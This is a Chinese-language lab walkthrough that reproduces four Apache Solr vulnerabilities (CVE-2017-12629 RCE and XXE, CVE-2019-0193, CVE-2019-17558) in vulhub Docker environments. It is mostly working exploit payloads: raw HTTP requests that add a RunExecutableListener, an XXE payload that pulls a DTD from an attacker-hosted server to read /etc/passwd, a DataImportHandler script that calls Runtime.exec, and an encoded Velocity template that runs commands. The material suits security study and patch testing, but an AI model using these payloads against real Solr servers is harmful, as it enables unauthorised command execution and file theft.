目录
Apache Solr简介
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
漏洞复现
CVE-2017-12629 命令执行漏洞
环境搭建
- cd /root/vulhub/solr/CVE-2017-12629-RCE/
- docker-compose up -d
- 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。
影响范围
Apache Solr < 7.1
漏洞复现
1.利用burp抓包,发送以下数据包,记得修改为自己网站的地址
POST /solr/demo/config HTTP/1.1
Host: 192.168.31.128:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 161
{"add-listener":{"event":"postCommit","name":"newlistener3","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/hello"]}}
2.我们根据burp的响应可以看到命令执行成功
3.然后我们执行更新代码
POST /solr/demo/update HTTP/1.1
Host: 192.168.31.128:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 19
[{"id":"test"}]
4.我们根据burp的响应可以看到更新成功
5.然后我们进入/root/vulhub/solr/CVE-2017-12629-RCE目录下执行命令,看到文件创建成功
- docker-compose exec slor ls /tmp
CVE-2017-12629 XML 实体注入漏洞
环境搭建
- cd /root/vulhub/solr/CVE-2017-12629-XXE/
- docker-compose up -d
- 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。
影响范围
Apache Solr < 7.1
漏洞复现
1.在攻击机的网站根目录下生成一个包含以下内容的do.dtd文件,并开启apache服务
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
2.然后访问目标网站,利用burp抓包
3.,构建有以下信息组成的特殊的payload,代码中的"http%3a%2f%2f192.168.31.128%2fdo.dtd"是我攻击机网站下的do.dtd文件地址,一定要换成自己的。
GET /solr/demo/select?q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%
3a%2f%2f192.168.31.128%2fdo.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt
=xml&defType=xmlparser HTTP/1.1
Host: your-ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
4.利用burp的Repeater模块发送此payload,可以看到成功查看目标passwd文件
CVE-2019-0193 命令执行漏洞
环境搭建
- cd /root/vulhub/solr/CVE-2019-0193/
- docker-compose up -d
- docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
- 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。
影响范围
Apache Solr < 8.2.0
漏洞复现
1.首先打开刚刚创建好的`test`核心,选择Dataimport功能并选择debug模式,打开Configuration并点击Debug-Mode,填写以下POC:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
2.点击Execute,执行此代码,然后我们用burp抓包,查看请求的路径,以及其他一些信息。
3.切换到/root/vulhub/solr/CVE-2019-0193目录下,执行`docker-compose exec solr ls /tmp`,可见`/tmp/success`已成功创建
CVE-2019-17558 命令执行漏洞
环境搭建
- cd /root/vulhub/solr/CVE-2019-17558
- docker-compose up -d
- 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。
影响范围
Apache Solr < 8.3.1
Apache Solr > 5.0.0
漏洞复现
1.默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:
- http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
- vulhub中的核心为demo,这个核心名称确定了下面POST请求包的路径
2.然后利用burp抓包构造以下payload,请求开启"params.resource.loader.enabled"
```
POST /solr/demo/config HTTP/1.1
Host: IP:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
2.根据burp响应可知道已成功开启。
3.然后访问用此payload访问目标网站
http://your-ip:8983/solr/demo/select?
q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.
forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+
%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27i
d%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+
[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
4.根据burp响应,已成功执行id命令